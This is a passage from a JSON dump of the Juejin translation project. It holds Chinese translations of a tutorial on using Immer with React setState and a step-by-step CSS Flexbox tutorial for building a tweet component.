[减少耦合](https://stackoverflow.com/a/43918514/3593852) 等优点，但也有缺点。\n\n记住，和编程中许多事一样，这也是一种折衷。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/immutable-data-with-immer-and-react-setstate.md",
    "content": "> * 原文地址：[Immutable Data with Immer and React setState](https://codeburst.io/immutable-data-with-immer-and-react-setstate-887e8f3ad667)\n> * 原文作者：[Jason Brown](https://codeburst.io/@browniefed?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/immutable-data-with-immer-and-react-setstate.md](https://github.com/xitu/gold-miner/blob/master/TODO1/immutable-data-with-immer-and-react-setstate.md)\n> * 译者：[HaoChuan9421](https://github.com/HaoChuan9421)\n> * 校对者：[xutaogit](https://github.com/xutaogit), [HaoChuan9421](https://github.com/HaoChuan9421)\n\n# Immer 下的不可突变数据和 React 的 setState\n\n[Immer](https://github.com/mweststrate/immer) 是为 JavaScript 不可突变性打造的一个非常棒的全新库。之前像 [Immutable.js](https://github.com/facebook/immutable-js) 这样的库，它需要引入操作你数据的所有新方法。\n\n它很不错，但是需要复杂的适配器并在 JSON 和 **不可突变** 之间来回转换，以便在需要时与其他库一起使用。\n\nImmer 简化了这一点，你可以像往常一样使用数据和 JavaScript 对象。这意味着当你需要考虑性能并且想知道数据何时发生了变更，你可以使用三个等号来做严格的全等检查以及证明数据的确发生了变更。\n\n你对 `shouldComponentUpdate` 的调用不再需要使用双等或者全等去遍历整个数据并进行比较。\n\n### 文章截图\n\n![](https://s1.ax2x.com/2018/09/28/5HELrX.png)\n\n注：此处为截图，原文为视频，建议看英文原文。\n\n### 对象展开运算符\n\n在最新版本的 JavaScript 中，许多开发者依赖对象展开运算符来实现不可突变性。例如，你可以展开之前的对象并覆盖特定的属性，或者增加新的属性。它会在底层使用 `Object.assign` 并返回一个新对象。\n\n```\n\nconst prevObject = {\n  id: \"12345\",\n  name: \"Jason\",\n};\n\nconst newObject = {\n  ...prevObject,\n  name: \"Jason Brown\",\n};\n```\n\n我们的 `newObject` 现在会是一个完全不同的对象，所以任何全等判断（`prevObject === newObject`）将会返回 false。所以它完全创建了一个新对象。name 属性也不再是 `Jason` 而是会变成 `Jason Brown`，而且由于我们没有对 `id` 属性进行任何操作，所以它会保持不变。\n\n这也适用于 React，因为 React 只会合并最外层的属性，所以当你在 `state` 中有嵌套的对象时，你需要对之前的对象进行展开操作和更新。\n\n让我们看一个例子。可以看到我们有两个嵌套的计数器，但是我们只想更新其中的一个而不影响另一个。\n\n```\nimport React, { Component } from \"react\";\n\nclass App extends Component {\n  state = {\n    count: {\n      counter: 0,\n      otherCounter: 5,\n    },\n  };\n\n  render() {\n    return <div className=\"App\">{this.state.count.counter}</div>;\n  }\n}\n\nexport default App;\n```\n\n下一步在 `componentDidMount` 钩子中，我们将设置一个间隔定时器来更新我们嵌套的计数器。不过，我们希望保持 `otherCounter` 的值不变。所以，我们需要使用对象展开运算符来把它从以前嵌套的 state 中带过来。\n\n```\ncomponentDidMount() {\n    setInterval(() => {\n      this.setState(state => {\n        return {\n          count: {\n            ...state.count,\n            counter: state.count.counter + 1,\n          },\n        };\n      });\n    }, 1000);\n  }\n```\n\n这在 React 中是一个非常常见的场景。而且，如果你的数据是嵌套的非常深的，当你需要展开多个层级时，它会增加复杂性。\n\n### Immer Produce 基础\n\nImmer 仍然允许使用突变（直接改变值）而完全无需担心如何去管理展开的层级，或者哪些数据我们触及过以及需要维持不可突变性。\n\n让我们设置一个场景：你向计数器传递一个值来进行递增，与此同时，我们还有一个 user 对象是不需要被触及的。\n\n这里我们渲染我们的应用并传递增量值。\n\n```\nReactDOM.render(<App increaseCount={5} />, document.getElementById(\"root\"));\n```\n\n```\nimport React, { Component } from \"react\";\n\nclass App extends Component {\n  state = {\n    count: {\n      counter: 0,\n    },\n    user: {\n      name: \"Jason Brown\",\n    },\n  };\n\n  componentDidMount() {\n    setInterval(() => {}, 1000);\n  }\n\n  render() {\n    return <div className=\"App\">{this.state.count.counter}</div>;\n  }\n}\n\nexport default App;\n```\n\n我们像之前那样设置了我们的应用，现在我们有一个 user 对象和一个嵌套的计数器。\n\n我们将导入 `immer` 并把它的默认值赋给 `produce` 变量。在给定当前 state 时，它将帮助我们创建下一个 state。\n\n```\nimport produce from \"immer\";\n```\n接下来，我们将创建一个叫做 `counter` 的函数，它接收 state 和 props 作为参数，这样我们就可以读取当前的计数，并基于 `increaseCount` 属性更新我们的下一次计数。\n\n```\nconst counter = (state, props) => {};\n```\n\nImmer 的 produce 方法接收 `state` 作为第一个参数，以及一个为下一个状态改变数据的函数作为第二个参数。\n\n```\nproduce(state, draft => {\n  draft.count.counter += props.increaseCount;\n});\n```\n\n如果你现在把他们放在一起。我们就可以创建计数器函数，它接收 state 和 props 并调用 produce 函数。然后我们按照对下一次状态期望的样子去改变 `draft`。Immer 的 produce 函数将为我们创建一个新的不可突变状态。\n\n```\nconst counter = (state, props) => {\n  return produce(state, draft => {\n    draft.count.counter += props.increaseCount;\n  });\n};\n```\n\n我们更新后的间隔计数器函数大概会是这样。\n\n```\ncomponentDidMount() {\n    setInterval(() => {\n      const nextState = counter(this.state, this.props);\n      this.setState(nextState);\n    }, 1000);\n  }\n```\n\n不过我们只是触及过 `count` 和 `counter`，我们的 `user` 对象上又发生了什么呢？对象的引用是否也发生了变化？答案是否定的。Immer 确切的知道哪些数据是被触及过的。所以，如果我们在组件更新之后进行一次全等检测，我们可以看到 state 中之前的 user 对象和之后的 user 对象是完全相同的。\n\n```\ncomponentDidUpdate(prevProps, prevState) {\n    console.log(this.state.user === prevState.user); // Logs true\n  }\n```\n\n当你考虑性能而使用 `shouldComponentUpdate` 时，或者类似于 React Native 中`FlatList` 那样，需要一种简单的方式来知道某一行是否已经更新时，这就非常的重要。\n\n### Immer 柯里化\n\nImmer 可以使得操作更加简单。如果它发现你传递的第一个参数是一个函数而不是一个对象，它就会为你创建一个柯里化的函数。因此，`produce` 函数返回另一个函数而不是一个新对象。\n\n当它被调用时，它会把第一个参数用作你希望改变的 `state`，然后还会传递任何其他参数。\n\n因此，它不仅仅是可以创建一个计数器函数的（工厂）函数，就连 `props` 也会被代理。\n\n```\nconst counter = produce((draft, props) => {\n  draft.count.counter += props.increaseCount;\n});\n```\n\n得益于 `produce` 返回一个函数，我们可以直接把它传递给 `setState`，因为 `setState` 有接收函数作为参数的能力。当你正在引用之前的状态时，你应该使用函数化的 `setState`（函数作为第一个参数）。在我们的场景中，我们需要引用之前的计数来把它增加到新的计数。它将传递当前的 state 和 props 作为参数，这也正是设置我们的 `counter` 函数所需要的。\n\n所以我们的间隔计数器仅需要 `this.setState` 接收 `counter` 函数即可。\n\n```\ncomponentDidMount() {\n    setInterval(() => {\n      this.setState(counter);\n    }, 1000);\n  }\n```\n\n### 总结\n\n![](https://cdn-images-1.medium.com/max/800/1*zcy1pxsvHOm2bqjkPCaMVw.png)\n\n这显然是一个人为的示例，但具有广泛的现实应用。可以轻松比较仅更新了单个字段的一长串列表数据。大型嵌套表单只需要更新触及过的特定部分。\n\n你不再需要做浅比对或者深比对，而且你现在可以做全等检查来准确的知道你的数据是否发生了变化，而后决定是否需要重新渲染。\n\n* * *\n\n_Originally published at_ [_Code_](https://codedaily.io/tutorials/58/Immutable-Data-with-Immer-and-React-setState).\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/implement-a-design-with-css.md",
    "content": "> * 原文地址：[Implementing a Mockup: CSS Layout Step by Step](https://daveceddia.com/implement-a-design-with-css/)\n> * 原文作者：[Dave Ceddia](https://daveceddia.com/about/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/implement-a-design-with-css.md](https://github.com/xitu/gold-miner/blob/master/TODO1/implement-a-design-with-css.md)\n> * 译者：[Baddyo](https://juejin.im/user/5b0f6d4b6fb9a009e405dda1)\n> * 校对者：[cyz980908](https://github.com/cyz980908)，[Moonliujk](https://github.com/Moonliujk)\n\n# 从原型图到成品：步步深入 CSS 布局\n\n![用 CSS 将原型实现](https://daveceddia.com/images/css-layout-header.png)\n\n对很多人来说，创建布局是前端开发领域中最难啃的骨头之一。\n\n你肯定经历过耗费数个小时，换着花样地尝试所有可能起作用的 CSS 属性、一遍遍地从 Stack Overflow 上复制粘贴代码，寄希望于误打误撞地赌中那个能实现预期效果的**魔幻组合**。\n\n如果你的惯用策略就是按部就班地组合布局 —— 先把 A 元素放在这儿，好了，A 元素就位了，我再看怎么把 B 放在那儿 …… 那你没有挫败感才怪呢。CSS 的玩法可与 SKetch 或者 Photoshop 的玩法不一样。\n\n在本文中，我将向你展示如何以统筹全局的思维实现 CSS 布局，根治布局难产的顽疾。\n\n我们将用一个小案例贯穿全文，我会把所有的 CSS 代码都解释给你听，因此即使你不知道或者忘记了 `position` 和 `display` 的用法，即使你分不清 `align-items` 和 `justify-content` 的区别，你仍会有所斩获。\n\n而且我们会用纯 HTML 和 CSS 代码来演示，因此你不需要 React、Vue、Angular、CSS-in-JS 甚至是 JavaScript 方面的知识储备。\n\n听起来很棒吧？那就开始吧。\n\n## 布局小例子\n\n在本文中，我们要比照 Twitter 的推文组件自己仿写一个：\n\n![推文组件的草图](https://daveceddia.com/images/tweet-sketch.jpg)\n\n不论是一个像这样的草图，还是一个细节精美的原型图，“有章可循” 总是个好主意。\n\n要避免一边在脑海里设计，一边在浏览器中七拼八凑地攒布局，这样的开发过程才会更顺畅。你当然**可以**达到那种手脑合一的境界！但鉴于你还在乖乖地读这篇文章，我可以假设你**还没有**那么神通广大。:)\n\n## 第一步：分而治之\n\n在动手敲代码之前，我们先把布局的各个单元区分开来：\n\n![划分推文组件的各个单元](https://daveceddia.com/images/tweet-highlighted.jpg)\n\n在用 CSS 铺排布局时，用行和列的形式去构思大有裨益。因此，要么你把元素从上到下排列，要么从左到右排列。这种行和列的思路完美对应了 CSS 中两种布局技术：Flexbox 和 Grid。\n\n当然了，我们的示例布局并不是中规中矩的行列。它有一张图片镶嵌在左侧，其他元素排列在右侧。\n\n## 第二步：沿着各个单元画方框\n\n画一些方框把这些元素框起来，看看行和列是否初具规模。我们把方向一致的单元归到同一个方框中。\n\n![将推文组件的不同单元框起来](https://daveceddia.com/images/tweet-first-level-layout-boxes.jpg)\n\n在页面中的 HTML 元素基本上都可视为矩形。当然，有些元素有圆角，有些元素是圆形，或者是复杂的 SVG 形状等。通常你**看不到**页面上有一堆矩形。但你可以用矩形边框的模式去分析它们。这样的想象能帮你理解布局。\n\n之所以提到矩形，是因为你要把一系列元素对齐 —— 如第一行的用户名、@handle（译者注：handle 属于专有名词，指 Twitter 中的用户 ID，所以在本文中保留不译。详见 [https://www.urbandictionary.com/define.php?term=twitter%20handle](https://www.urbandictionary.com/define.php?term=twitter%20handle)）和时间以及最后一行的图标 —— 把它们用方框包起来便于规划。\n\n按目前的规划，把布局用 HTML 代码实现出来大概如下所示：\n\n```html\n<article>\n  <img\n    src=\"http://www.gravatar.com/avatar\"\n    alt=\"Name\"\n  />\n  <div>\n    <span>@handle</span>\n    <span>Name</span>\n    <span>3h ago</span>\n  </div>\n  <p>\n    Some insightful message.\n  </p>\n  <ul>\n    <li><button>Reply</button></li>\n    <li><button>Retweet</button></li>\n    <li><button>Like</button></li>\n    <li><button>...</button></li>\n  </ul>\n</article>\n```\n\n展示出的效果是这样的（可以点击[这里](https://codesandbox.io/embed/wo6wvvynlw)调试代码）：\n\n![推文组件的默认样式](https://daveceddia.com/images/tweet-default-layout.png)\n\n这离我们想要的效果还远呢。但是！所有所需的内容都齐全了。有些元素还以从左到右的顺序排列。\n\n我们可以认为，即使不用进一步设置样式，目前的布局效果也能达到网页想表达的要点，这也是一个优秀的 HTML 应该达到检查标准。\n\n### 关于语义化 HTML 的说明\n\n你可能会好奇，为何我选的是那些元素 —— `article`、`p` 等等。为何不都用 `div` 呢？\n\n为何要这样写：\n\n```html\n<article>\n  <img ... />\n  <div>\n    <span/>\n    <span/>\n    <span/>\n  </div>\n  <p> ... </p>\n  <ul>\n    <li>\n      <button> ... </button>\n    </li>\n  </ul>\n</article>\n```\n\n而不这样写？\n\n```html\n<div>\n  <img ... />\n  <div>\n    <div/>\n    <div/>\n    <div/>\n  </div>\n  <div> ... </div>\n  <div>\n    <button> ... </button>\n  </div>\n</div>\n```\n\n其实，每个 HTML 元素的名称都有其特定含义，在不同场景中恰如其分地使用语义上与它们所表示的内容匹配的元素，是很好的语义化实践。\n\n这种写法，首先，有助于开发者理解代码；其次，对使用屏幕阅读器等辅助设备的用户比较友好。同时这样用标签也有利于 SEO —— 搜索引擎会试着理解这个页面的含义，以便于显示相关广告来盈利、帮助搜索者找到满意结果。\n\n`article` 标签代表文章类内容，而你可以认为推文这种东西有点类似于一篇文章。\n\n`p` 标签代表段落，而推文的内容文本有点类似于一个段落。\n\n`ul` 标签代表无序列表（与有序列表或数字序号列表相对应），在本示例中，你可以用它来存放列表信息。\n\n我们无法用只言片语就说清楚 HTML 元素的语义，以及何种情况用何种标签。但大多数情况下，一个语义化元素即使其语义再不贴切，也比用 `div` 强，`div` 标签只代表 “一块区域”。\n\n### 元素的默认样式\n\n是什么决定了元素的样式？为什么有的元素独占一行，而有的元素能共处一行？\n\n![默认样式下的推文组件](https://daveceddia.com/images/tweet-default-layout.png)\n\n这要归因于元素的**默认样式**，这其中就有我们要探讨的第一个 CSS 知识点：**行内元素**和**块级元素**。\n\n**行内元素**们肩并肩挤在一行里（就像句子中的词一样，必要时会折行）。根据再浏览器中的默认样式划分，`span`、`button` 以及 `img` 都是行内元素。\n\n而**块级元素**，总是踽踽独行。以控制台输出的方式去理解，你可以认为块级元素前后各有一个换行符 `\\n`。就好像`console.log(\"\\ndiv\\n\")`。`article`、`div`、`li`、`ul` 以及 `p` 标签都是块级元素。\n\n注意，在上面的例子中，为什么即使 `img` 标签是行内元素，头像图片依然独占一行？因为它下方的 `div` 是块级元素。\n\n然后要注意，为什么 @handle、用户名和时间都在同一行？原因是它们都在 `span` 标签中，而 `span` 是行内元素。\n\n这三个 `span` 和 文字 “insightful message” 处于不同行，因为（a）它们被包在一个 `div` 中，`div` 后面自然要另起一行；（b）`p` 标签同样是块级元素，它自然从新行开始排列。（之所有没有出现两个空行，是因为 HTML 合并了相邻的空行，与相邻空格同理。）\n\n如果你再看得仔细点，你会发现 “insightful message” 的上下方空间，要比头像图片以及 handle、用户名、时间的上下方空间要大。此空间的大小也由默认样式控制：`p` 标签的顶部和底部都有 **margin**。\n\n你也会注意到按钮列表的圆点，以及列表的缩进行为。这些也都是默认样式。我们马上就要修改这些默认样式了。\n\n## 第三步：再画一些方框\n\n我们想把头像图片放在左侧，其余元素放在右侧。你可能会根据刚刚探讨的行内和块级知识来推断，认为只要把右侧的元素都包裹到一个如 `span` 标签般的行内元素中，就完事大吉了。\n\n但这是行不通的。行内元素并不能阻止其内部的块级元素另起一行。\n\n为了把这些元素收拾得服服帖帖，我们需要用一些更强大的技术，比如 Flexbox 或者 Grid 布局。这次我们选用 Flexbox 来解决。\n\n### Flexbox 的原理\n\nCSS 的 Flex 布局能够把元素以行**或者**列的形式排布。这是一种单向的布局系统。为了实现交叉的行和列（正如推文组件的设计那样），我们需要添加一些容器元素来扭转方向。\n\n![每一层布局都用方框包围](https://daveceddia.com/images/tweet-all-layout-boxes.jpg)\n\n你可以在容器上设置 `display: flex;` 来启用 Flex 布局。容器本身是块级元素（得以独占一行），其内部元素会成为 “Flex 子项” —— 即它们不再是行内或块级元素了；它们都受 Flex 容器控制。\n\n在本例中，我们会设置一些嵌套的 Flex 容器，让该成行的成行，该成列的成列。\n\n我们把外层容器（绿色方框）设置为列，蓝色方框设置为行，而红色方框中的元素排布在列中。\n\n![箭头方向即为 Flex 布局方向](https://daveceddia.com/images/tweet-layout-arrows.jpg)\n\n### 为何选 Flexbox 布局，不选 Grid 布局？\n\n由于一些原因，我决定用 Flexbox 布局而不用 Grid 布局。我觉得 Flexbox 布局更易于学习，也更适用于轻量级的布局。当布局中**主要是行**或者**主要是列**时，Flexbox 布局的表现更出色。\n\n另一个重点就是，即使 Grid 布局比 Flexbox 布局年轻，前者也撼动不了后者的地位。它们各自适用于不同的场景，对于二者，我们都要学习，技不压身。有些情况你甚至会同时使用二者 —— 例如 Grid 布局排布整体页面，而 Flexbox 布局调控页面中的一个表单。\n\n没错没错，在 Web 开发的世界，普遍的更替法则是后浪推前浪，但 CSS 并不如此。Flexbox 和 Grid 能够和谐共存。\n\n用 CSS 解决问题，条条大路通罗马！\n\n### 第四步：应用 Flexbox\n\n好了，既然我们已经打定主意，那就开动吧。我把左侧元素包进一个 `div`，并给元素们设置类名，便于应用 CSS 选择器。\n\n```html\n<article class=\"tweet\">\n  <img\n    class=\"avatar\"\n    src=\"http://www.gravatar.com/avatar\"\n    alt=\"Name\"\n  />\n  <div class=\"content\">\n    <div class=\"author-meta\">\n      <span class=\"handle\">@handle</span>\n      <span class=\"name\">Name</span>\n      <span class=\"time\">3h ago</span>\n    </div>\n    <p>\n      Some insightful message.\n    </p>\n    <ul class=\"actions\">\n      <li><button>Reply</button></li>\n      <li><button>Retweet</button></li>\n      <li><button>Like</button></li>\n      <li><button>...</button></li>\n    </ul>\n  </div>\n</article>\n```\n\n（[代码在这里](https://codesandbox.io/s/0y98qov0rn)）\n\n看着好像没有变化。\n\n![默认样式下的推文组件](https://daveceddia.com/images/tweet-default-layout.png)\n\n这是因为 `div` 作为块级元素（如果没有空行就引入一个）是看不见的。当你需要一个包裹其他元素的容器，除了 `div` 之外没有更贴合语义的选择了。\n\n下面咱们的第一段 CSS 代码，我们会把它放在 HTML 文档中 `head` 标签的 `style` 里：\n\n```css\n.tweet {\n  display: flex;\n}\n```\n\n干得漂亮！我们用**类选择器**锁定了**所有**类名为 `tweet` 的元素。当然目前只有一个这样的元素，但如果有十个，那它们将都会是 Flex 容器了。\n\nCSS 中以 `.` 开头的选择器代表类选择器。为什么是 `.`？我可不知道。你只要记住这条规则就行了。\n\n![设置了 display:flex](https://daveceddia.com/images/tweet-display-flex.png)\n\n现在文字内容都到头像右侧去了。问题是头像图片都扭曲变形了。\n\n因为 Flex 容器会默认：\n\n* 把子项排成一行；\n* 让子项与其内容等宽，并 ——\n* 把所有子项的高度拉平为最高子项的高度。\n\n我们可以用 `align-items` 属性来控制垂直方向的对齐方式。\n\n```css\n.tweet {\n  display: flex;\n  align-items: flex-start;\n}\n```\n\n`align-items` 的默认值是 `stretch`，而将其设为 `flex-start` 后，会让子项沿着容器顶部对齐，**并且**让子项保持各自的高度。\n\n### 方向的辩证：行还是列？\n\n另外，Flex 容器的默认排列方向是 `flex-direction: row;`。是的，这个方向是 “行”，即使我们可能感觉那更像是两列。要把它想成是子项们排成一**行**，这样理解就舒服多了。\n\n有点像这张花瓶的图片，或者说两张脸的图片。横看成岭侧成峰。\n\n![Rubin 的花瓶](https://daveceddia.com/images/Rubins-vase.jpg)\n\n[Wikipedia](https://en.wikipedia.org/wiki/Rubin_vase)\n\n### 给文字内容更多的空间\n\nFlex 布局的子项仅取其所需宽度，但我们需要 `content` 区域尽量宽敞一些。\n\n因此，我们要给 `content` 这个 div 设置 `flex: 1;` 属性。（该 div 有类名，那我们就又可以用类选择器啦！）\n\n```css\n.content {\n  flex: 1;\n}\n```\n\n我们也要给头像设置 `margin`，好在头像和文字之间加点空隙：\n\n```css\n.avatar {\n  margin-right: 10px;\n}\n```\n\n![设置了 display:flex](https://daveceddia.com/images/tweet-with-avatar-margin.png)\n\n看起来顺眼一些了吧！\n\n### margin 和 padding\n\n那…… 为什么用 `margin` 而不用 `padding`？为什么要设置在头像右侧，而不是文字内容左侧呢？\n\n这是一条约定俗成的规则：在元素右侧和下方设置 margin，不去碰左侧和上方的 margin。\n\n至少是在英文界面的布局中，文档流的方向是从左到右、从上到下的，因此，每个元素都 “依赖” 其左侧和上方的元素。\n\n在 CSS 中，每个元素的定位都受到其左侧和上方的元素的影响。（至少在你遇见 `position: absolute` 那帮家伙之前是这样的。）\n\n### [SoC 原则（Separation of Concerns）](https://www.cnblogs.com/wenhongyu/archive/2017/12/06/7992028.html)\n\n从技术实现的角度来说，怎样设置 `avatar` 和 `content` 之间的空隙都一样。该是多宽就是多宽，没有 `border` 的干扰（`padding` 在 `border` 的内侧；而 `margin` 在外侧）。\n\n但当事关可维护性、对元素的全局观时，这就有区别了。\n\n我曾尝试把元素理解为一个个独立个体，就像每个 JavaScript 函数只实现单一功能一样：如果它们都仅仅扮演单一的角色，那么写起代码来就很容易，报错时调试也很容易。\n\n如果我们把 margin 设置到 `content` 的左侧，后来有一天我们去掉了 `avatar`，可是以前的缝隙还留在那。我们还得排查导致额外空间的原因（是来自 `tweet` 容器吗？ 还是来自 `content` 呢？）并把它处理掉。\n\n或者，如果 `content` 设置了左侧的 margin，而我们想要把 `content` 替换成别的元素，我们还要记着再**把之前那个空隙补上**。\n\n好了好了，为了 10 像素的事，没必要费这么多口舌，干脆就把 margin 设在头像的右侧和下方。让我们继续埋头敲代码吧。\n\n### 移除列表的样式\n\n无序列表 `ul` 和其中的列表项 `li` 在左侧窝藏了很大空间，还有一些圆点。这都不是我们想要的效果。\n\n我们可以把无序列表左侧的空隙都清除掉。我们还要把它变成一个 Flex 容器，这样里面的按钮就能排成一行了（用 `flex-direction: row`）。\n\n列表项有个属性是 `list-style-type`，默认值为 `disc`，使得每个列表项以圆点开头，我们用 `list-style: none;` （`list-style` 是一个**缩写属性**，整合了几个其他属性，其中就包括 `list-style-type`）将该效果关闭。\n\n```css\n.actions {\n  display: flex;\n  padding: 0;\n}\n.actions li {\n  list-style: none;\n}\n```\n\n![按钮排成一排](https://daveceddia.com/images/tweet-actions-display-flex.png)\n\n`.actions` 又是一个类选择器。原汁原味。\n\n而 `.actions li` 选择器，意即 “`actions` 类元素中所有的 `li` 元素”。它是类选择器和元素选择器的结合。\n\n复合选择器中用以分隔的空格代表着**选择范围的缩小**。事实上，CSS 是以倒序读取选择器的。其过程是 “先找到页面中所有的 `li`，然后在这些 `li` 中找到类名是 `actions` 的那些”。但无论你用正序还是倒序的方式去理解，结果都是一样的。（在 [StackOverflow](https://stackoverflow.com/questions/5797014/why-do-browsers-match-css-selectors-from-right-to-left) 查看更多详解）\n\n### 横排按钮\n\n要横排按钮有好几种方式。\n\n一种就是设置 Flex 子项的对齐方式。你应该对设置对齐方式很熟悉，每个富文本编辑器顶部都有这种功能的按钮：\n\n![对齐按钮：左对齐/居中对齐/右对齐/两端对齐](https://daveceddia.com/images/justify-buttons.png)\n\n它们把文本进行左对齐、居中对齐、右对齐以及 “两端对齐”，也就是铺满整行。\n\n在 Flexbox 布局中，你可以用 `justify-content` 属性来实现对齐。设置了 `flex-direction: row`（默认值，也是本文中一直在用的设置）后，可以通过 `justify-content` 把子项进行或左或右地对齐。`justify-content` 的默认值为 `flex-start`（因此所有元素都向左看齐）。如果我们给 `.actions` 元素设置 `justify-content: space-between`，它们就会均匀地铺满整行，就像这样：\n\n![按钮对齐：justify-content:space-between](https://daveceddia.com/images/tweet-justify-content-space-between.png)\n\n可我们想要的不是这样的效果。如果这几个按钮可以不占满整行会更好。所以得换一种方式。\n\n这次，我们给每个列表项设置一个右侧的 margin，把它们分隔开来。还要给整个推文组件设置一个边框，以便我们能够直观地衡量效果。用 `1px solid #ccc` 设置一个 1 像素宽的灰色实线边框。\n\n```css\n.tweet {\n  display: flex;\n  align-items: flex-start;\n  border: 1px solid #ccc;\n}\n.actions li {\n  list-style: none;\n  margin-right: 30px;\n}\n```\n\n现在效果如下：\n\n![组件带边框，按钮分隔排列](https://daveceddia.com/images/tweet-bordered-buttons-spaced.png)\n\n按钮的排列看起来优雅多了，但灰色边框告诉我们，所有元素都过于靠左了。还是用 `padding` 分配点空间吧。\n\n```css\n.tweet {\n  display: flex;\n  align-items: flex-start;\n  border: 1px solid #ccc;\n  padding: 10px;\n}\n```\n\n现在推文组件有内边距了，但有些地方还是很空。如果我们用浏览器调试工具将元素高亮显示，就会发现 `p` 和 `ul` 元素有默认的上下 margin（在 Chrome 的调试工具中，margin 以橙色显示，而 padding 以绿色显示）：\n\n![p 和 ul 周围的间隔](https://daveceddia.com/images/tweet-showing-padding.gif)\n\n还有一处有意思的细节；**行与行之间**的上下 margin 是等距的 —— 并没有叠加出双倍间距！因为 CSS 在竖直方向上有 **margin 坍塌**现象。当上下两个 margin 短兵相接时，数值大的 margin 会 “吃掉” 小的。详情参见 [CSS 技巧：margin 坍塌](https://css-tricks.com/what-you-should-know-about-collapsing-margins/)。\n\n对于本例的布局，我会手动调整 `.author-meta`、`p` 和 `ul` 的右侧 margin。如果要真刀真枪地开发网站，建议你考虑用 [CSS reset](https://bitsofco.de/a-look-at-css-resets-in-2018/) 作为开发基础，有利于跨浏览器兼容。\n\n```css\np, ul {\n  margin: 0;\n}\n.author-meta, p {\n  margin-bottom: 1em;\n}\n```\n\n用 `,` 将选择器隔开，可以一次性把样式应用到多个选择器上。因此 `p , ul` 的含义就是 “所有的 `p` 元素，以及所有的 `ul` 元素”。亦即二者的合集。\n\n在这里我们使用了新的尺寸单位，`1em` 中的 `em`。一个单位的 `em` 等于 `body` 标签上的以像素为单位的字号大小。`body` 标签的默认字号为 `16px`（16 像素高），所以本例中的 `1em` 相当于 `16px`。`em` 随字号改变而改变，因此可以用 `1em` 来表达 “我想让文字下方的 margin 和文字的高度一样，不论文字高度是多少”。\n\n现在的效果如下：\n\n![设置 margin](https://daveceddia.com/images/tweet-margins-fixed.png)\n\n现在让我们把图片缩小一些，并将其设置为圆形。我们将其宽高设置为 48 像素，正和 Twitter 的头像宽高一样。\n\n```css\n.avatar {\n  margin-right: 10px;\n  width: 48px;\n  border-radius: 50%;\n}\n```\n\n我们用 `border-radius` 属性来设置圆角，有好几种方式来定义该属性的值。如果你想要小圆角效果，可以用带 `px`、`em` 或其他单位名称的数字赋值。例如 `border-radius: 5px` 的效果：\n\n![圆角半径为 5 像素的头像](https://daveceddia.com/images/border-radius-5px.png)\n\n如果将 `border-radius` 设为宽和高的一半（在本例中即为 24 像素），其效果就是一个圆形。但更方便的写法是 `border-radius:50%`，这样我们就不必知道具体尺寸，CSS 会计算出确切结果。甚至，如果以后宽高值变了，也无需重新修改属性值了！\n\n![圆形头像](https://daveceddia.com/images/tweet-round-avatar.png)\n\n## 再接再厉\n\n眼下还有一些需要润色之处。\n\n我们要把字体设为 Helvetica（Twitter 用的那一款）、把字号缩小一些、把用户名加粗，还有，翻转 “@handle 用户名 的顺序（在 HTML 代码中），使之与 Twitter 一模一样。:D\n\n```css\n.tweet {\n  display: flex;\n  align-items: flex-start;\n  border: 1px solid #ccc;\n  padding: 10px;\n  /* \n    更改字体和字号。\n    在 .tweet 选择器上设置的 CSS 效果，其所有子元素都会继承。\n    （除了按钮。按钮不太合群）\n  */\n  font-family: Helvetica, Arial, sans-serif;\n  font-size: 14px;\n}\n\n.name {\n  font-weight: 600;\n}\n\n.handle,\n.time {\n  color: #657786;\n}\n```\n\n`font-weight: 600;` 的效果等同于 `font-weight: bold;`。字体有很多不同程度的字重，范围是从 100 到 900（最淡到最浓）。`normal`（默认值）等价于 400。\n\n**另外**，CSS 中的注释写法与 JavaScript 或其他语言不用，不允许以 `//` 开头。某些浏览器支持 `//` 风格的 CSS 注释，但并非所有浏览器都如此。用 C 语言风格的 `/* */` 包围注释内容即可高枕无忧。\n\n还有一个小窍门：可以用 **伪元素**在 “handle” 与 “时间” 之间添加一个凸点。这个凸点符号单纯为了装饰，不具有具体语义，所以用 CSS 实现不会污染 HTML 语义结构。\n\n```css\n.handle::after {\n  content: \" \\00b7\";\n}\n```\n\n`::after` 创建了一个伪元素，它位于 `.handle` 元素内部的最后方（“落后” 于元素的内容）。你还可以用 `::before` 创建伪元素。可以给 `content` 属性赋值任何文字内容，包括 Unicode 